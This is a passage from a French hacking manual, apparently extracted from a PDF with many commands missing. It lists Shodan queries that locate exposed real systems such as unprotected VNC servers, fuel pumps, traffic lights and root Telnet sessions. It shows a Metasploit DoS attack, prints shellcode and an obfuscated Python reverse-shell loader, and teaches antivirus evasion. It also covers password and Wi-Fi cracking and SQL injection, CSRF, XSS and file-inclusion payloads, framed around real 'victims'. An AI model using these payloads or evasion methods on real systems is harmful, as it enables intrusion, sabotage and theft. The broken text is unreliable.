évidemment, utilisez cet autre site qui vous en fournira une pleinement
fonctionnelle : https://gpa.lu/
A présent quelques dorks :
Géographie
Machine
Services
product Trie en fonction de la présence d’un service product:apache
143
Ce sont les requêtes les plus générales et les moins développées que vous
puissiez faire. Je vais vous lister une petite gamme de mes préférés, bien plus
complexes et qui peuvent parfois impressionner vos connaissances :
α http.title:"Index of /" http.html:"DVWA" → Retourne tous les
serveurs web ayant DVWA d’installée, vous pouvez remplacer ce mot par ce
que vous voulez et tous les serveurs web alors renvoyés comporteront ce
mot.
α "in-tank inventory" port:10001 → Retourne des pompes à essence
α mikrotik streetlight → Retourne des feux de signalisation
α "authentication disabled" port:5900,5901 → VNC non protégée
α "authentication disabled" "RFB 003.008" → VNC non protégée
α hacked-router-help-sos → routeur compromis
α "MongoDB Server Information" port:27017 -authentication →
interface MongoDB, les anciennes versions ne sont pas protégées
α "root@" port:23 -login -password -name -Session → Telnet mais avec
la connexion en super-utilisateur, le travail est déjà fait.
α "Android Debug Bridge" "Device" port:5555 → ADB est ouvert, vous
pouvez exploiter la machine avec ce logiciel https://github.com/jaykali/ghost
α http.html:"* The wp-config.php creation script uses this file" →
WordPress mal configuré, les codes d’authentification de la base de données
peuvent être accessibles
α Caméra :
γ title:camera
γ webcam has_screenshot:true
γ "Server: IP Webcam Server" "200 OK"
γ NETSurveillance uc-httpd
γ ("webcam 7" OR "webcamXP") http.component:"mootools" -401
α "Minecraft Server" "protocol 340" port:25565 → Des serveurs
minecraft
Vous êtes maintenant capable de trouver une machine, repérer des ports ouverts
sur cette dernière et donc potentiellement des failles. Passons à l’étape suivante,
l’exploitation de ces dites failles !
144
Exploiter des failles
Metasploit et Exploit-db
I. Installer Metasploit
# curl https://raw.githubusercontent.com/rapid7/metasploit-
omnibus/master/config/templates/metasploit-framework-wrappers/
msfupdate.erb > msfinstall; chmod 755 msfinstall; ./msfinstall
Les programmes fournis sont présents dans un dossier et il faut les appeler avant
de les exécuter et définir des variables qu’ils pourront utiliser.
Avant toutes choses, MSF a besoin d’une base de donnée afin de stocker certaines
données de vos victimes ou d’établir une connexion (ou encore, afin de piéger
quelqu’un avec de l’ingénierie sociale).
# msfdb init
Cela devrait la démarrer, en cas d’erreur, une petite recherche internet devrait
permettre de résoudre le problème.
Démarrer Metasploit :
145
# msfconsole
Comme tous framework, la commande help renvoie des informations utiles sur les
différentes nouvelles commandes disponibles.
Pour une fois, je n’expliquerai pas beaucoup pour vous laisser mener vos propres
recherches sur ce fantastique logiciel. En effet, un guide de 300 pages ne suffirait
pas à couvrir l’entièreté des possibilités qu’offre le programme… Je vous laisse
donc lire la page d’aide.
Je souhaite réaliser une attaque DOS (Denial of Service) sur un serveur Web.
Commençons par chercher un module intéressant pour nos besoins :
search DOS
Cela va nous donner une liste de programme ayant le mot DOS dans leur nom ou
leur description
use auxiliary/dos/tcp/synflood
Ici, un numéro est attribué à l’auxiliaire, j’aurais donc bien pu taper (dans mon
cas) :
use 74
Avec une autre commande, nous allons obtenir la liste des valeurs à donner pour
lancer notre petite attaque :
show options
146
On voit que des valeurs sont déjà renseignées, dans ce type d’attaque, on ne
modifie généralement que deux paramètres, RHOST et RPORT, respectivement
l’adresse IP de la victime ainsi que le port à viser.
Attention, ce n’est pas parce que je mets RPORT sur 3128 que vous devez le faire.
Pour ceux n’ayant aucune connaissance en réseau, le port renvoie à une
application spécifique, 3128 n’est qu’un exemple parmi d’autre et seul une
analyse avec Nmap vous dira quels services sont présents sur quel port…
Une fois les variables renseignées, il n’y a plus qu’à lancer l’exécution :
exploit
IV. Vocabulaire
Metasploit utilise le vocabulaire des hackers, les vrais. Loin de là l’idée que nous
sommes des hackers, mais utiliser leur vocabulaire facilitera la compréhension de
la documentation.
147
Backdoor : Programme installer sur la machine de victime rendant l’accès à son
ordinateur plus simple dans le cas où nous devrions y retourner
D’autres mots existent mais ceux-ci demeurent les plus importants à connaître.
On verra le reste au fur et à mesure…
use exploit/multi/handler
Puis enfin :
Attention : LHOST peut être soit votre IP publique, soit votre IP privé. En effet,
pour toutes attaques sur votre réseau, prenez la privée. En revanche, lorsque
vous vous attaquez à quelqu’un hors de votre réseau, il va falloir renseigner votre
IP publique. De plus, il vous faudra rediriger les ports (port forwarding) pour que la
machine extérieure puisse se connecter.
Maintenant que vous êtes des professionnels dans l’utilisation des variables, vous
pourrez aisément continuer :)
N’oubliez pas une fois fini de lancer l’attaque.
148
On va pour se faire utiliser msfvenom (msfpayload + msfencode, pour les
anciennes versions).
Le plus simple reste de faire de cette manière :
Petite précision, vous pouvez obtenir la liste des différents payload, format ou
d’autre chose en utilisant le paramètre -l, ex :
$ msfvenom -l payloads
Metasploit devrait vous avertir qu’une session est ouverte et vous basculez
automatiquement en mode meterpreter. Tapez help pour avoir un aperçu de ce
qu’il est possible de faire !
Les trojans que propose Metasploit sont très simples et facilement détectables, il
faut donc pratiquer ce qu’on appelle une « évasion ». Évader (je traduis depuis
l’anglais où le terme « evading » est utilisé) son cheval de Troie, c’est lui donner la
capacité d’outrepasser les antivirus.
149
Ceci nous renvoie le pavé suivant :
buf = b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41"
buf += b"\x50\x52\x51\x48\x31\xd2\x65\x48\x8b\x52\x60\x56\x48"
buf += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
buf += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
...
buf += b"\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2"
buf += b"\x56\xff\xd5"
Ce n’est toujours pas vraiment très lisible à nos yeux de simple mortel, mais ça
l’est déjà plus que si vous essayiez de déchiffrer le format exe. À l’intérieur de ce
pavé se trouve ce qu’on appelle des « badchars » (mauvais caractères), et ils sont
assez facilement reconnaissables quand vous avez l’habitude de faire des scripts
dans ce genre :
α \x00 : bite nulle
α \x0a : nouvelle ligne
α \x0d : retour de chariot (oui ça existe sur un ordinateur)
α \x20 : espace
Pour les enlever automatiquement du code, vous pouvez rajouter l’option -b :
$ msfvenom -l encoders
Le meilleur algo de cette liste est sans aucun doute shikata_ga_nai (traduit depuis
le japonais : « il ne peut être aidé », phrase populaire japonaise désignant un
individu que l’on ne peut sauver du danger en raison de la dette énorme qu’il
aurait envers nous).
-i spécifie alors le nombre fois où le cheval de Troie va être chiffré (ici 10). Ne
mettez un nombre trop grand, c’est inutile et ça ne fera que ralentir la machine.
150
Maintenant que nous avons vu comment chiffrer son code à l’aide d’un trojan bien
plus simple à comprendre, passons à un code un peu plus brut. Si vous aviez
essayé de remplacer l’extension py par exe dans les commandes précédentes
pour voir si vous arriveriez à échapper à l’antivirus, vous auriez eu la mauvaise
surprise de revoir votre ami Avast s’énerver. Les algorithmes que nous avons
utilisés ont beau être performant, ils sont vieux et facilement reconnaissables par
les AV. Il va donc falloir truander, une des spécialités du hacker.
Précisions :
α -x : spécifie un exécutable déjà existant dans lequel va s’injecter notre code.
α -k : va permettre au trojan de s’exécuter dans un autre thread (comprenez
processus ici) ce qui aura pour effet de laisser l’application principale
tourner de son côté sans gêner son exécution.
α -o : spécifie le nom du fichier dans lequel sera enregistré notre projet.
Rentrons maintenant dans des sujets plus complexes pour réussir à faire
fonctionner nos trojans évadés.
Sur un ordinateur, le code que vous exécutez doit être compilé pour que la
machine puisse le comprendre. Pour le moment, vous n’avez vu qu’un langage de
niveau assez bas, le shell, mais vous savez très bien que l’informatique regorge
d’étrangeté parfois inutile.
151
Ainsi, nous sommes passés de langage
comme le C qui était de niveau plutôt bas,
à des monstres comme python qui
ressemblent presque à la langue anglaise.
Comprenez bien que par « niveau » on
entend « à quel point est il proche du
langage humain ».
exec(__import__('base64').b64decode(__import__('codecs').getencoder
('utf-8')('aW1wb3J...zpzfSkK')[0]))
Si vous décodez depuis base64 le code entre parenthèses, cela vous donnera :
152
Ceux qui ont déjà fait du python reconnaîtront les caractéristiques du code :
α importation des librairies nécessaires
α Boucle pour tenter de se connecter à l’IP spécifiée sur le port spécifié
α 5 secondes d’écart entre chaque tentative
α Envoi du shellcode dans la dernière partie
Python est bien pratique car il n’y a aucun besoin de le compiler pour l’envoyer, la
machine de la victime s’en chargera tout seul à partir du moment où python est
installé sur cette dernière. Mais ce n’est pas toujours le cas (et presque jamais
même), il faudra donc passer par un script compiler et pouvant être exécuté par
le système d’exploitation de la victime.
153
Remplacer lhost et lport par les valeurs qui conviennent puis compiler avec :
Essayer d’exécuter le fichier obtenu sur une machine Windows, vous n’y arriverez
pas ! Et ceci car la manière dont fonctionnent les exécutables n’est pas la même.
Compilez maintenant avec :
$ gcc -S trojan.c
Toutes ces instructions que vous voyez ont pour but de déplacer des données
d’une case mémoire à une autre la plupart du temps. Votre processeur, lorsqu’il
exécute ce code, le fait de manière purement linéaire. Or, en assembleur, il est
possible de rajouter des instructions inutiles (comme dans n’importe quel langage
informatique) en déplaçant des valeurs d’un registre à un autre sans réel but.
Beaucoup d’antivirus, face à ce genre de mouvements, ne sauront pas
reconnaître la dangerosité du programme.
Metasploit possède ce que l’on appelle des NOP (No operation), qui sont un
ensemble d’instructions inutiles ajoutées avant un trojan. Ce n’est pas parfait, et
les meilleurs NOP seront toujours ceux faits à la main, mais c’est déjà un bon
départ. Concrètement, on va juste demander à Metasploit d’ajouter des
déclarations de variables à tire-larigot pour brouiller les pistes.
Pour ce faire, utilisez le paramètre -n et spécifiez ensuite le nombre de NOP que
vous voulez :
154
Accessoirement, évitez de garder les noms de variables inchangés, ils sont
beaucoup trop clairs et reconnaissables facilement. Utilisez l’option -v pour les
changer :
Avec ce genre de techniques, vous devriez être capable d’échapper à pas mal
d’antivirus. Personnellement, en faisant mes NOP moi-même et en rechiffrant mes
trojans, j’arrivais souvent à ne pas être détecté, quel que soit l’AV.
VIII. Évasion
Pour suivre cette partie, nous nous baserons sur un shellcode fait pour Windows.
Nous allons essayer de le rendre totalement indétectable pour Windows Defender.
Il va ensuite falloir inscrire le code à l’intérieur d’un fichier C à l’aide des lignes qui
vont suivre. Nous allons ensuite user de différentes stratégies pour casser
l’Antivirus (Source française : https://www.kali-linux.fr/forum/index.php?topic=2973.0).
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>
155
"\x40\xf6\x13\xf1\x89\x4a\x8e\xe1\xb5\x8a\x42\x98\x01\xf6\x40"
"\x8e\xf2\x1e\x90\x67\x35\xbf\xb3\x33\xba\x31\xd9\xf0\xa0\x45";
Vous reconnaissez que la ligne unsigned char banane[] correspond au code que
vous a renvoyé Metasploit. Si vous changez le nom de la variable, ce que je peux
comprendre, car le mot banane n’est pas parmi les meilleurs, n’oubliez pas de le
changer également dans le pointeur.
IX. Exploit-db
Exploit-db est une base de donnée regroupant une multitude d’exploitations. Vous
n’aurez plus qu’à trouver celui qui convient à votre cas, puis à l’utiliser.
$ searchsploit [exploit]
156
Le BruteForce
Pour faire nos expériences, on se basera sur un hash très simple que vous pouvez
obtenir avec la commande suivante :
John The Ripper est l’outil de cracking préféré des hackers. Il utilise les ressources
du processeur (CPU) pour attaquer, ce qui en fait un outil facile à installer par
apport à d’autre, et qui donne l’avantage d’avoir de bonnes performances sans
carte graphique (dans la limite de la puissance de l’ordinateur).
Pour l’installer, soit vous passez par GitHub, soit par snap :
John The Ripper, que l’on va appeler JtR maintenant, offre de nombreux
avantages, comme la reconnaissance du hash, le fonctionnement sur de multiple
types de hash et de multiple plateformes.
Il dispose également de plusieurs méthodes d’attaque :
• Crack seul : le mode le plus rapide pour les fichiers de mot-de-passe
• Dictionnaire : compare les hash avec un fichier de possibilité
• Incrémentale : essaye toutes les possibilités, ce qui est très long
157
$ john --single pass.txt
Afin de gagner un peu de temps, vous pouvez préciser le type de hash que vous
allez donner à john :
$ john --list=formats
Laissez-moi dès à présent vous montrer un cas bien pratique d’utilisation de JtR.
Avec ce logiciel, il devient très facile de contourner les mots de passe d’une
archive zip.
Notre nouveau fichier contient à présent le hash de l’archive, il n’y a plus qu’à le
cracker simplement avec cette commande :
Vous n’avez plus qu’à récupérer le mot-de-passe avec la commande plus haute.
158
II. Hashcat, l’attaque au GPU
Hashcat est également un logiciel de BruteForce très utilisé par les communautés
de Hackers. Sa grande différence avec john est que, bien qu’il soit possible de le
faire fonctionner sur le CPU, il fonctionne majoritairement sur la carte graphique
(GPU). Ainsi, il va nous falloir quelques instructions en plus pour le faire
fonctionner parfaitement. D’abord installons-le avec :
Nous allons également recourir à un deuxième paquet qui sera très utile pour
beaucoup d’opérations : https://github.com/hashcat/hashcat-utils.git
Vérifiez ensuite si hashcat est pris en charge par votre carte graphique avec cette
commande :
# hashcat -I
No devices found/left.
C’est qu’il va falloir installer les drivers de votre carte graphique. Quelques
instructions sont présentes ici : https://hashcat.net/hashcat/
Je possède un intel i915, si c’est aussi votre cas, vous trouverez votre bonheur ci-
dessous…
https://registrationcenter-download.intel.com/akdlm/irc_nas/vcp/15532/l_opencl_p_18.1.0.015.tgz
Pour avoir un peu plus d’informations sur hashcat, le mieux reste encore de jeter
un œil à sa documentation :
$ hashcat -h
On remarquera que les paramètres les plus imortants sont en haut du tableau. En
effet, -a et -m respectivement utilisé pour rentrer en mode attaque et pour
spécifier le type de hash seront souvent présents dans vos instructions.
Vous avez ensuite la liste des algorithmes pris en charge. Le nombre présent sur
la colonne de gauche correspond au nom de l’algorithme que vous allez essayer
de cracker. Vous avez les formats de hash, les modes d’attaques, le branchement
159
de l’attaque sur le GPU ou le CPU, les performances de la machine allouées à
l’exécution et enfin quelques exemples d’utilisation.
Je n’ai presque rien à ajouter, à part appliquer à hashcat notre exemple de tout à
l’heure. Si l’on reprend notre fichier pass.txt, la commande pour cracker le mot-
de-passe présent à l’intérieur sera alors :
Ici j’utilise l’algorithme MD5, en mode d’attaque par dictionnaire. Le résultat sera
placé dans le fichier resultat.txt, après avoir décrypté le fichier pass.txt grâce à la
liste de mots (dictionnaire) richeulie.txt.
Comme pour John The Ripper, je vais vous présenter une utilisation un peu plus
pratique de Hashcat.
Vous vous rappelez du chapitre sur les réseaux wifis ? Eh bien il est temps de
passer à l’étape supérieure avec hashcat en augmentant la rapidité du crack. Pour
ce faire, nous avons besoin du fichier contenant le handhake et nous allons le
passer dans un des programmes de hashcat-utils. En effet, le handshake sera
dans le fichier avec l’extension .cap. Hashcat ne comprenant pas ce genre de
fichier, il va falloir le convertir avec hcat-utils en hccapx. Allez dans le dossier /src
du dépôt hashcat-utils, puis tapez :
Le premier chemin est celui vers votre fichier .cap, le deuxième sera pour le nom
du fichier dans lequel écrire.
$ hashcat --help
Ici, on cherche le protocole WPA, vous pouvez ajuster la sortie du manuel avec
grep. SI vous n’y arrivez pas, voici la réponse :
Avec Hashcat, la rapidité de votre ordinateur devrait accrue. Elle dépendra cette
fois-ci de la puissance de votre carte graphique.
160
III. Hydra, l’attaque de services
Passons à présent à un logiciel de BruteForce un peu moins utilisé que les deux
autres, Hydra. Hydra sert majoritairement à attaquer des services pour trouver un
mot de passe, là ou les deux autres sont utilisés pour le crack sur des hash
présents sur la machine.
$ hydra -h
Vous avez la liste des services pouvant être attaqués par hydra en dessous de
supported services, ainsi que quelques exemples d’utilisation à la fin. On en
déduira qu’une des syntaxes les plus couramment utilisées est la suivante :
Il me faut tout de même faire un petit aparté sur les services Web puisque ceux-ci
ont une syntaxe un peu particulière :
161
α [plus2parametres] sont les paramètres supplémentaires à l’exécution de la
requête
α [Echec] représente la phrase qui s’affiche en cas de mauvais mot de passe.
Si certains mots ne vous paraissent pas clairs, tous ces termes ainsi que de plus
amples explications sont présents dans la partie sur les requêtes HTTP modéfiées.
Comme un exemple vaut mieux qu’un long discours, voici ce que cette
commande peut donner :
Ainsi, ^USER^ prendra la valeur de -l (ou -L) et ^pass^ la valeur de -p (ou -P).
Un service web est un dossier comportant plusieurs ressources que le client peut
consulter. Bien souvent, il s’agit de document HTML, XML, PHP ou de simples
textes, mais il peut s’agir d’autres types de fichier (CSS, JavaScript, Musique,
Images, Vidéos, etc.).
Il demeure cependant un problème, nous ne pouvons pas nous promener
librement sur le site sans avoir l’URL exacte pour consulter une ressource. Cela ne
pose pas de soucis quand elles sont indexées (mises en lien sur une page), mais
lorsque l’administrateur cache volontairement des informations, il est plus difficile
de les retrouver.
162
Lancer DirBuster :
Ici, nous nous pencherons uniquement sur une utilisation classique de DirBuster,
libre à vous d’approfondir derrière. Pour se faire :
α Dans Target URL, rentrez le nom du site à attaquer.
α Number of threads désigne la puissance allouée à l’attaque (le nombre de
threads qui seront utilisés par le programme
α Select scanning type permet de choisir la méthode de bruteforce entre
l’utilisation d’un dictionnaire ou la génération de mot de passe (comme
avec crunch). Il faut ensuite remplir les champs en dessous selon ce que
vous voulez.
α Dir to start représente le dossier à partir duquel attaquer. À savoir que le /
présent veut dire que vous commencez avec la racine.
α File extension désigne les extensions qui seront recherchées, séparez-les
d’une virgule sans espace. Les dossiers seront obligatoirement visés.
Une fois tout cela rempli, appuyez sur Start, le programme fait le reste du boulot.
163
Les attaques du Web
Puisque la pratique permet toujours un meilleur apprentissage, je vous
propose de vous exercer à l’aide d’un site internet. Nous allons, ici, utiliser DVWA,
mais d’autres alternatives existent.
Installez d’abord le serveur web XAMPP pour avoir tous les services web
préinstallés : https://www.apachefriends.org/index.html. N’oubliez pas en lançant
le service web de tuer les autres qui peuvent déjà être en fonction.
Une fois cela fait, extrayez l’archive et copiez-la sur la racine du serveur web :
$ unzip DVWA-master.zip
# mv DVWA-master /opt/lampp/htdocs/dvwa
$ cd /opt/lampp/htdocs/dvwa/config
# nano config.inc.php
$_DVWA = array();
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'dvwa';
$_DVWA[ 'db_password' ] = 'p@ssw0rd';
$_DVWA[ 'db_port'] = '3306';
164
Naviguez jusqu’au bas de la page et appuyez sur le bouton « Create / Reset
Database ». Le site devrait vous demander des identifiants. Rentrez « admin »
pour le nom d’utilisateur et « password » pour le mot de passe. Une fois la page
d’accueil ouverte, allez dans l’onglet « DVWA Security » et mettez la à « Low »
pour commencer.
Injection SQL
Les injections SQL sont un mode d’attaque Web qui vide à récupérer les informations
d’une base de données ne nous appartenant pas. Si certains Hackers préfèrent les faire à la
main, nous nous contenterons de voir le résultat automatisé avec sqlmap.
Les deux premières parties seront un récapitulatif du fonctionnement d’un serveur Web ainsi
que la manière dont se déroulera le TP (il faut bien s’entraîner).
Les serveurs Web gèrent deux plans de travail, le côté client et le côté serveur. Les deux
peuvent posséder de lourdes failles, mais ici, seul le côté serveur va nous intéresser.
Quand vous effectuez une requête sur un site, celui-ci utilise plusieurs langages de
programmation :
α HTML, le langage informatique (et non de programmation) qui va décrire les éléments
présents sur la page. C’est lui qui va permettre d’afficher des paragraphes ou des
tableaux.
α CSS, autre langage informatique qui gère la mise en page. Il va donner le style des
éléments présents, leur position ainsi que des animations.
α JavaScript, à ne pas confondre avec Java, il permet la gestion de code côté client.
Pratique pour faire des animations plus puissantes, bien que le langage se soit
complexifié avec des extensions comme React ou Node, il reste tout de même
beaucoup plus utilisé pour la gestion du DOM (document object model)
α PHP, il s’agit du langage côté serveur le plus utilisé, bien qu’il ne soit pas apprécié par
les nouvelles générations de développeurs. Il n’est pas très complexe, mais peut
représenter un moyen très facile d’accès à la machine lorsqu’il est mal programmé.
α SQL, le langage qui possède la quasi-totalité des parts de marchés chez les
gestionnaires de Base de donnée. Il va faire la liaison entre un code côté serveur
(comme PHP) et la base de donnée à laquelle il est relié.
Il existe d’autres langages, mais ceux-ci demeurent moins démocratisés. Cependant, je vous
recommande de vous intéresser à ces nouvelles technologies car le marché pourrait évoluer
en leur faveur !
165
Puisque un dessin vaut mieux qu’un long discours, en voici deux :
Ainsi, lorsque vous formulez votre demande à un serveur Web, si celui-ci possède PHP + SQL,
alors la page sera chargée à l’aide de PHP qui ira chercher des informations (quand il en a
besoin) dans la base de donnée avec SQL.
166
II. Injection avec sqlmap
Sqlmap est un logiciel qui permet l’automatisation des dites injections. Il va nous
permettre en l’occurrence de récupérer le plus d’informations que possible à l’intérieur des
bases de données. Nous nous baserons dans la suite de ce tutoriel sur l’onglet « SQL
Injection » de DVWA.
Pour commencer :
Cette commande va nous permettre de lister les bases présentes sur le serveur.
Vous pouvez voir qu’à l’intérieur de l’URL, un paramètre PHP est donné (id). Ici, on lui assigne
la valeur 4 mais ceci a peu d’importance. En revanche, vous allez être obligé de spécifier un
paramètre d’URL que vous pensez être une faiblesse.
Comment savoir s’il y a une faille ? Rien de plus simple, est ce que quand vous modifier la
valeur associer à ce paramètre dans l’URL, la page se trouve être changer ? Si c’est le cas, il y a
de forte chance pour que la page face une requête SQL à l’aide de cette valeur (ou alors la
page est changée avec une condition PHP).
Eh bien, il va falloir spécifier ce que vous pensez défaillants. S’il y en a plusieurs, séparez les
d’un & comme dans les URL…
sqlmap devrait vous demander des informations supplémentaires au cours de son exécution,
à vous de juger ce qui vous semble bon pour continuer :)
167
[*] mysql
[*] opentube
[*] parmisnous
[*] performance_schema
[*] phpmyadmin
[*] test
J’utilise quotidiennement mon serveur, donc rien d’étonnant à voir plus de bases de mon
côté…
Après avoir obtenu le nom des différentes bases, il nous faut lister les différentes tables.
Sur MySQL, les tables sont des tableaux où sont regroupées les informations. Une base peut
avoir plusieurs tables.
-D va permettre de dire dans quelle base regarder et --tables va spécifier que l’on souhaite
obtenir les tables de cette base.
On obtient donc :
[1 table]
+--------------+
| user_details |
+--------------+
Ce qui veut dire que dans ma base injejection_db se trouve la table user_details.
-T dit que l’on cherche dans une table (ici user_details) et --columns spécifie que l’on veut
récupérer les colonnes.
Les colonnes sont les différentes catégories de votre table et vont ici nous permettre de savoir
quels genres d’informations sont stockées.
168
Vous devriez obtenir ceci :
Database: injection_db
Table: user_details
[7 columns]
+------------+--------------+
| Column | Type |
+------------+--------------+
| first_name | varchar(50) |
| gender | varchar(10) |
| last_name | varchar(50) |
| password | varchar(50) |
| status | tinyint(10) |
| user_id | int(11) |
| username | varchar(255) |
+------------+--------------+
On connaît dès à présent les différents types des différentes colonnes. Explications :
α varchar : il s’agit d’une chaîne de caractère limiter en taille entre 1 et 255
α int : ce sont les nombres
α tinyint : des nombres mais plus petits en tailles. Attention, il ne faut pas confondre
taille et grandeur du nombre. La taille signifie le nombre de caractères de long qu’il fait
et la grandeur représente sa distance par apport à zéro.
α Text : Un texte pouvant être infini (tout de même limiter par le stockage de la machine,
mais on reste assez large)
Cela peut paraître inutile, mais elles permettent d’avoir plus d’informations sur l’évolution que
peut avoir la base. Vient ensuite le moment le plus intéressant, lister le contenu de la table :
Il s’agit de la même commande que la précédente, il faut juste remplacer --columns par --
dump qui veut dire que l’on souhaite récupérer le contenu.
169
III. Avec la méthode POST
Il est un peu plus compliqué d’injecter avec la requête POST. En effet, il va falloir préparer un
fichier comportant l’ensemble des données qui peuvent être envoyées et que sqlmap va
inspecter quels sont les paramètres injectables.
Pour ce faire, il faut juste remplir le formulaire et l’envoyer. Inspecter l’envoie de la requête
dans l’inspecteur de Firefox (ou Chrome, Brave, Opera, etc.), dans l’onglet Network (Réseau),
sélectionnez l’envoi POST qui est apparue puis afficher l’en-tête en mode texte (appuyez sur
interrupteur raw à côté de Request Headers).
170
Une fois votre beau fichier texte prêt, il est temps de le faire inspecter par sqlmap :
-r sert à rentrer le chemin vers votre fichier et -p décrit le ou les paramètres que vous pensez
être vulnérables.
Sqlmap va donc tenter de trouver des failles qu’il vous renverra. Il les exploitera plus tard ou
vous les offre pour que vous puissiez le faire manuellement.
On va ensuite se servir des vulnérabilités trouvées pour dire à sqlmap de les utiliser afin de
retrouver la base de données :
--dbms nous permet de spécifier quel logiciel de bases de donnée est utilisé, cela va nous
permettre de gagner du temps. Pour le trouver, la commande précédente vous la
normalement donnée :
--current-db ordonne à sqlmap de chercher la base de donnée auquel le paramètre que nous
avons donné précédemment est envoyé.
Elle nous est donnée ici :
Le reste des commandes ne requiert pas plus d’explications. Il s’agit des mêmes qu’avec la
méthode GET :
Maintenant que vous savez utiliser sqlmap, je vous conseille de vous orienter vers
une représentation concrète de l’attaque dans le chapitre sur le langage SQL.
171
Cross Site Request Forgery (CSRF)
L’attaque CSRF est très particulière tout simplement car elle révèle tout le
côté social du hacker. En effet, avec la CSRF, il s’agit plus d’un jeu de
manipulation que d’un véritable coup de génie.
Cette attaque consiste à fabriquer une URL exécutant une action sur la
machine de la victime. Un exemple rapide et pas très dangereux pour
comprendre, il existe une URL sur Google permettant de changer la langue de
l’utilisateur. Ceci ne représente en rien un problème de sécurité, mais vous
pouvez parfaitement changer la langue du moteur de recherche de quelqu’un en
lui envoyant ce lien (rien de risqué, vous pouvez essayer) :
https://www.google.com/setprefs?sig=0_MpQ70NiX5Czvd-pT3S1Ts1HBr9g
%3D&hl=ru&source=homepage&sa=X&ved=0ahUKEwjdleK7k_nyAhWvz4UKHYi8
Ak0Q2ZgBCA4
L’exemple de DVWA est très pratique puisqu’il met en évidence une faille très
importante : l’URL a la possibilité de modifier le mot de passe d’un utilisateur.
Les mots de passe que vous allez changer sur la page se feront avec
! l’identifiant admin. Vous êtes en train de modifier le mot de passe de la
page d’accueil de DVWA.
Si on essaye de changer le mot de passe par 1234, notre URL est changée en :
http://localhost/dvwa/vulnerabilities/csrf/?
password_new=1234&password_conf=1234&Change=Change
Appuyez sur le bouton « Test Credentials » pour essayer votre nouveau mot de
passe avec l’identifiant admin. Normalement, cela devrait vous signaler un
succès.
http://localhost/dvwa/vulnerabilities/csrf/?
password_new=ent&password_conf=ent&Change=Change
Cette fois-ci, le mot de passe n’est plus 1234 mais « ent ». Nous n’avons pas
rentré le mot de passe dans le champ prévu à cet effet sur la page, et l’avons
directement fait dans l’URL. Si nous essayons de nous reconnecter sur la page
« Test Credentials », rien à signaler, le mot de passe est bien « ent ».
172
L’URL a donc le pouvoir de modifier mon mot de passe en « ent » pour peu que je
la rentre dans mon navigateur. Imaginez maintenant que vous êtes un utilisateur
lambda d’un forum et que vous souhaitiez gagner l’accès au compte d’un
modérateur. Si le mécanisme pour se connecter et le même, vous n’avez qu’à lui
envoyer le lien permettant de modifier le mot de passe pour ensuite accéder à
son compte.
Cette attaque est juste parfaite quand elle est couplée avec la suivante…
L’attaque XSS, pour Cross site scripting (on met XSS et non CSS, car CSS est
langage informatique servant à styliser les pages web), est une attaque qui vient
impacter le client des victimes. Avec cette méthode, on va découvrir comment
envoyer du code JavaScript au serveur pour qu’il puisse l’exécuter
malicieusement sur le client de nos victimes.
Notre cerveau de professionnel de la sécurité (je n’en doute pas) voit tout de suite
qu’il y a une injection à faire. Si vous ne trouvez pas tout de suite la faille, ce n’est
pas grave, la plus grande partie de votre temps sera plus tard de toutes façons
mobilisée à chercher ces nombreuses failles et à essayer de les exploiter. Ici, on
peut se dire que le code vient tout simplement coller le contenu de la variable sur
la page. Pour vérifier notre hypothèse, essayons de modifier la requête :
http://localhost/dvwa/vulnerabilities/xss_r/?name=<i>bob</i>
On remarque que les balises <i></i> (qui servent à mettre un texte en italique)
sont collés avec le texte, ce qui produit un nom en italique côté client. Si mettre
du texte en italique lorsque vous voulez écrire votre prénom peut amuser la
galerie cinq minutes, je conçois que vous puissiez être intéressé par quelque
chose de plus grandiose. Commençons donc à écrire un script :
173
Collons de suite cette ligne à notre URL :
http://localhost/dvwa/vulnerabilities/xss_r/?name=bob<script>alert("Vulnérabilité
XSS détectée !");</script>
Vous pouvez voir qu’une boîte de dialogue apparaît sur la page. Grâce à
l’exécution de JavaScript, les possibilités de l’attaque XSS deviennent immenses.
En plus des poncifs habituels (vol de cookie, vol d’identifiant), vous avez la
possibilité de casser des sites avec une simplicité… Et parfois ça peut vraiment
tourner au désastre, le cas du sondage de Mtn Dew en est la preuve :
De plus, rappelez-vous ce que je vous ai dit dans la partie précédente sur la CSRF,
l’attaque XSS va nous être utile. En effet, tout le côté ingénierie sociale qui
rendait cette attaque compliquée (envoyer un lien est parfois très risqué) est ici
annulée puisque vous avez la possibilité d’effectuer votre requête directement
174
avec JavaScript. Par exemple, avec la vulnérabilité de DVWA, il n’y aurait qu’à
taper cette ligne de code suivante :
<script>
location.href = "http://localhost/dvwa/vulnerabilities/
csrf/?password_new=1234&password_conf=1234&Change=Change";
</script>
Cependant, vos attaques XSS ne sont pas encore très performantes. Vous devez
toujours envoyer l’URL à quelqu’un pour que son navigateur exécute le code
malicieux. Jetons un œil sur l’onglet « XSS (stored) » de DVWA. En face de vous se
trouve maintenant une page avec deux champs de texte, ressemblant à s’y
méprendre à un espace commentaire.
Pour ce qui concerne la partie « XSS (DOM) », celle-ci est un peu plus complexe
car nécessitant des connaissances en JavaScript un peu plus poussées, je ne
l’aborderai donc pas ici afin de ne pas vous perdre…
Cette partie se fera sur l’onglet « File Inclusion » de DVWA. Tout de suite, vous
remarquerez que l’URL présente une petite spécificité, le nom du fichier est passé
dans une variable PHP : http://localhost/dvwa/vulnerabilities/fi/?page=include.php.
Si l’on clique sur le bouton File1, l’URL se transforme mai garde toujours un nom
de fichier en paramètre : http://localhost/dvwa/vulnerabilities/fi/?page=file1.php.
Quelle conclusion peut-on en tirer ? Que le nom du fichier qui sera ouvert est
passé en variable dans l’URL (ici, page). Donc si l’on modifie ceci pour mettre un
chemin de fichier pointant vers un fichier externe au dossier, celui-ci, si la faille
est présente, devrait bien s’ouvrir et lire le contenu. Essayons de rentrer le
chemin relatif de la page d’accueil de DVWA pour l’afficher :
http://localhost/dvwa/vulnerabilities/fi/?page=../../index.php
175
On rappelle la différence entre chemin relatif et absolu : le chemin absolu est un
lien ne changeant pas peu importe le dossier dans lequel vous vous trouvez ; le
